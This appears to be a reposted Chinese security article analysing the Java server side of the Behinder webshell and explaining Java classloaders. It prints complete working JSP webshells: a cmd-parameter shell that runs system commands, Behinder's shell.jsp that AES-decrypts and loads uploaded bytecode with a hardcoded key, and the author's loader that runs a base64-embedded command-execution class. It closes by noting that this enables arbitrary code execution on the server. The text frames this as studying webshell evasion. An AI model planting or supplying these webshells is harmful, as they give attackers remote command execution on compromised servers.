冰蝎 Java服務端解析
前言
看了一段時間的webshell免殺,由于其他語言的webshell沒啥基礎,只對jsp的webshell和冰蝎簡單分析了一下。完成了一個簡化版的冰蝎Demo,主要是學習原理,分析的有不對的地方還請師傅們斧正。
冰蝎JSP服務端解析
在看冰蝎的shell.jsp之前先來回顧下Java最基礎執(zhí)行命令的實現(xiàn)。Java最常見的是通過Runtime.getRuntime().exec("cmd")來實現(xiàn)執(zhí)行系統(tǒng)命令的,如下是一個Demo。 Runtime.getRuntime().exec()實現(xiàn)命令執(zhí)行及輸出:
importjava.io.BufferedReader; importjava.io.IOException; importjava.io.InputStream; importjava.io.InputStreamReader; publicclassCMDExecDemo{ publicstaticvoidmain(String[]args)throwsException{ Processprocess=Runtime.getRuntime().exec("ipconfig"); InputStreamprocessInput=process.getInputStream(); InputStreamReaderinputStreamReader=newInputStreamReader(processInput,"GBK"); BufferedReaderbufferedReader=newBufferedReader(inputStreamReader); StringresLine; while((resLine=bufferedReader.readLine())!=null){ System.out.println(resLine); } inputStreamReader.close(); processInput.close(); } }
JSP實現(xiàn):
<%@page?language="java"?contentType="text/html;?charset=UTF-8"?pageEncoding="UTF-8"??%> <%@page?import="java.io.*"?%> <% String?os?=?System.getProperty("os.name").toLowerCase(); out.print(os); String?cmd?=?request.getParameter("cmd"); String?line; if?(cmd?!=?null){ ????Process?p?=?Runtime.getRuntime().exec(new?String[]{"cmd.exe","/c",cmd}); ????InputStream?ins?=?p.getInputStream(); ????InputStreamReader?insr?=?new?InputStreamReader(ins,"GBK"); ????BufferedReader?br?=?new?BufferedReader(insr); ????out.print(""); while((line=br.readLine())!=null){ out.print(line+" "); } out.print(""); ins.close(); insr.close(); br.close(); p.getOutputStream().close(); } %>
Behinder JSP Webshell不同于一般的一句話木馬,作者通過自定義類加載器調(diào)用ClassLoader類defineClass方法讓服務端有了動態(tài)解析字節(jié)碼的能力,添加注釋后的shell.jsp如下。
<%@?page?contentType="text/html;charset=UTF-8"?language="java"?%> <%@?page?import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%> <%! ????//自定義類加載器 ????class?U?extends?ClassLoader{ ????????U(ClassLoader?c){ ????????????super(c); ????????} ????????public?Class?g(byte?[]b) ????????{ ????????????//調(diào)用父類defineClass方法 ????????????return?super.defineClass(b,0,b.length); ????????} ????} %> <% ????if?(request.getMethod().equals("POST")){ ????????String?k="e45e329feb5d925b"; ????????session.putValue("u",k); ????????Cipher?c=Cipher.getInstance("AES"); ????????c.init(2,new?SecretKeySpec(k.getBytes(),"AES")); ????????//獲取客戶端數(shù)據(jù) //????????String?line?=?request.getReader().readLine(); ????????//base64解碼客戶端數(shù)據(jù) //????????byte[]?b?=?new?sun.misc.BASE64Decoder().decodeBuffer(line); ????????//AES解密 //????????byte[]?b1?=?c.doFinal(b); ????????//調(diào)用父類defineClass方法,將傳入數(shù)據(jù)還原為Class對象 //????????U?u?=?new?U(this.getClass().getClassLoader()); //????????Class?clazz?=?u.g(b1); ????????//實例化對象將輸出寫入pageContext ????????//客戶端傳入的字節(jié)碼指向的類中重寫了equals方法傳入pageContext對象,通過pageContext對象 ????????//可以間接操作response,將執(zhí)行結果寫入response返回給客戶端 //????????clazz.newInstance().equals(pageContext); ????????new?U(this.getClass().getClassLoader()).g(c.doFinal(new?sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); ????} %>
關于自定義類加載器
Java執(zhí)行代碼的過程:程序員編寫的Java代碼通過編譯器編譯成字節(jié)碼文件即.class文件之后交由ClassLoader加載至JVM中被執(zhí)行。 JVM提供了三種類加載器: **Bootstrap classLoader:**主要負責加載核心的類庫(java.lang.*等),構造ExtClassLoader和APPClassLoader。ExtClassLoader:主要負責加載jre/lib/ext目錄下的一些擴展的jarAppClassLoader:主要負責加載應用程序的主函數(shù)類。 雙親委派機制: 當一個Hello.class這樣的文件要被加載時。不考慮自定義類加載器,首先會在AppClassLoader中檢查是否加載過,如果有那就無需再加載了。如果沒有,那么會拿到父加載器,然后調(diào)用父加載器的loadClass方法。父類中同理也會先檢查自己是否已經(jīng)加載過,如果沒有再往上。注意這個類似遞歸的過程,直到到達Bootstrap classLoader之前,都是在檢查是否加載過,并不會選擇自己去加載。直到BootstrapClassLoader,已經(jīng)沒有父加載器了,這時候開始考慮自己是否能加載了,如果自己無法加載,會下沉到子加載器去加載,一直到最底層,如果沒有任何加載器能加載,就會拋出ClassNotFoundException。
ClassLoader中的三個關鍵方法: ClassLoader.loadClass():雙親委派機制的代碼實現(xiàn)。
publicClass>loadClass(Stringname)throwsClassNotFoundException{ returnloadClass(name,false); } protectedClass>loadClass(Stringname,booleanresolve) throwsClassNotFoundException { synchronized(getClassLoadingLock(name)){ //First,checkiftheclasshasalreadybeenloaded Class>c=findLoadedClass(name); if(c==null){ longt0=System.nanoTime(); try{ if(parent!=null){ c=parent.loadClass(name,false); }else{ c=findBootstrapClassOrNull(name); } }catch(ClassNotFoundExceptione){ //ClassNotFoundExceptionthrownifclassnotfound //fromthenon-nullparentclassloader } if(c==null){ //Ifstillnotfound,theninvokefindClassinorder //tofindtheclass. longt1=System.nanoTime(); c=findClass(name); //thisisthedefiningclassloader;recordthestats sun.misc.PerfCounter.getParentDelegationTime().addTime(t1-t0); sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1); sun.misc.PerfCounter.getFindClasses().increment(); } } if(resolve){ resolveClass(c); } returnc; } }
ClassLoader.defineClass():將byte[]還原為Class對象。
protectedfinalClass>defineClass(Stringname,byte[]b,intoff,intlen, ProtectionDomainprotectionDomain) throwsClassFormatError { protectionDomain=preDefineClass(name,protectionDomain); Stringsource=defineClassSourceLocation(protectionDomain); Class>c=defineClass1(name,b,off,len,protectionDomain,source); postDefineClass(c,protectionDomain); returnc; }
ClassLoader.findClass():供自定義類加載器重寫使用,配合defineClass方法實現(xiàn)自定義加載字節(jié)碼。
protectedClass>findClass(Stringname)throwsClassNotFoundException{ thrownewClassNotFoundException(name); }
實現(xiàn)自定義類加載器的步驟: 1、繼承ClassLoader類 2、重寫findClass方法 3、調(diào)用defineClass方法 Demo如下: hello.java
publicclasshello{ publicvoidprintHello(){ System.out.println("helloworld!"); } }
customLoader.java
importjava.io.File; importjava.io.FileInputStream; importjava.lang.reflect.Method; publicclasscustomLoaderextendsClassLoader{ privateStringclassPath; publiccustomLoader(StringclassPath){ this.classPath=classPath; } @Override protectedClass>findClass(Stringname)throwsClassNotFoundException{ byte[]bytes=newbyte[0]; try{ bytes=loadBytes(name); }catch(Exceptione){ e.printStackTrace(); } returnsuper.defineClass(bytes,0,bytes.length); } privatebyte[]loadBytes(StringclassName)throwsException{ FileInputStreamfileIns=newFileInputStream(classPath+File.separator+className.replace(".",File.separator).concat(".class")); byte[]b=newbyte[fileIns.available()]; fileIns.read(b); fileIns.close(); returnb; } publicstaticvoidmain(String[]args)throwsException{ customLoadercustomLoader=newcustomLoader("C:\Users\lixq\Desktop\loaderDemo\src\test\java"); ClassaClass=customLoader.loadClass("hello"); Objecto=aClass.newInstance(); Methodm=aClass.getMethod("printHello"); m.invoke(o); } }
有了以上基礎,著手將一開始的CMD Webshell改為自定義類加載器方式執(zhí)行: 相較于傳統(tǒng)自定義類加載器的方式,冰蝎更直接地調(diào)用defineClass方法將編碼后class文件還原為Class對象,參照冰蝎的方式可以依照如下步驟來實現(xiàn)CMD Webshell。 1、首先將CMD JSP Webshell編譯為class,然后將class文件base64編碼
image.png
2、通過自定義類加載器將base64后class還原為Class對象并加載至jvm執(zhí)行。
<%@?page?import="java.util.Base64"?%> <%@?page?import="java.lang.reflect.Method"?%> <%@?page?contentType="text/html;charset=UTF-8"?language="java"?%> <% ????String?cmd?=?request.getParameter("cmd"); ????if?(cmd?!=?null){ ????????class?U?extends?ClassLoader{ ????????????public?Class?g(){ ????????????????String?clsStr?=?"yv66vgAAADQAVAoAFgArBwAsCgACACsKAC0ALgcALwgAMAgAMQoALQAyCgAzADQHADUIADYKAAoANwcAOAoADQA5CgANADoKAAIAOwgAPAoAPQA+CgAKAD4KAAIAPwcAQAcAQQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEACkV4Y2VwdGlvbnMHAEIBAAdleGVjQ21kAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAA1TdGFja01hcFRhYmxlBwBABwAvBwAsBwBDBwBEBwA1BwA4AQAKU291cmNlRmlsZQEAFENNRF9SdW50aW1lRGVtby5qYXZhDAAXABgBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgcARQwARgBHAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwASABJBwBDDABKAEsBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyAQADR0JLDAAXAEwBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyDAAXAE0MAE4ATwwAUABRAQABCgcARAwAUgAYDABTAE8BAA9DTURfUnVudGltZURlbW8BABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFY2xvc2UBAAh0b1N0cmluZwAhABUAFgAAAAAAAwABABcAGAABABkAAAAdAAEAAQAAAAUqtwABsQAAAAEAGgAAAAYAAQAAAAYACQAbABwAAgAZAAAAGQAAAAEAAAABsQAAAAEAGgAAAAYAAQAAABIAHQAAAAQAAQAeAAEAHwAgAAIAGQAAAM4ABQAIAAAAaLsAAlm3AANNuAAEBr0ABVkDEgZTWQQSB1NZBStTtgAITi22AAk6BLsAClkZBBILtwAMOgW7AA1ZGQW3AA46BhkGtgAPWToHxgASLBkHtgAQEhG2ABBXp//pGQS2ABIZBbYAEyy2ABSwAAAAAgAaAAAAKgAKAAAAFAAIABUAIQAWACcAFwA0ABgAPwAaAEoAHABZAB4AXgAfAGMAIAAhAAAAJAAC/wA/AAcHACIHACMHACQHACUHACYHACcHACgAAPwAGQcAIwAdAAAABAABAB4AAQApAAAAAgAq"; ????????????????byte[]?b?=?Base64.getDecoder().decode(clsStr); ????????????????return?super.defineClass(b,0,b.length); ????????????} ????????} ????????U??u?=?new?U(); ????????Class?clazz?=?u.g(); ????????Object?obj?=?clazz.newInstance(); ????????Method?m?=?clazz.getMethod("execCmd",String.class); ????????String?res?=?(String)?m.invoke(obj,cmd); ????????out.print(res); ????} %>
總結
簡單分析了冰蝎Java服務端的實現(xiàn),如果我們將固定的CMD_RuntimeDemo.class Base64編碼后的字符串改為傳遞參數(shù)傳遞給服務端,那么服務端就可以解析我們傳遞的class字節(jié)碼從而在服務端執(zhí)行任意java代碼,而這正是冰蝎客戶端的核心思路。
審核編輯:湯梓紅
-
JAVA
+關注
關注
19文章
2967瀏覽量
104746 -
JSP
+關注
關注
0文章
26瀏覽量
10382 -
服務端
+關注
關注
0文章
66瀏覽量
7007
原文標題:參考
文章出處:【微信號:Tide安全團隊,微信公眾號:Tide安全團隊】歡迎添加關注!文章轉(zhuǎn)載請注明出處。
發(fā)布評論請先 登錄
相關推薦
評論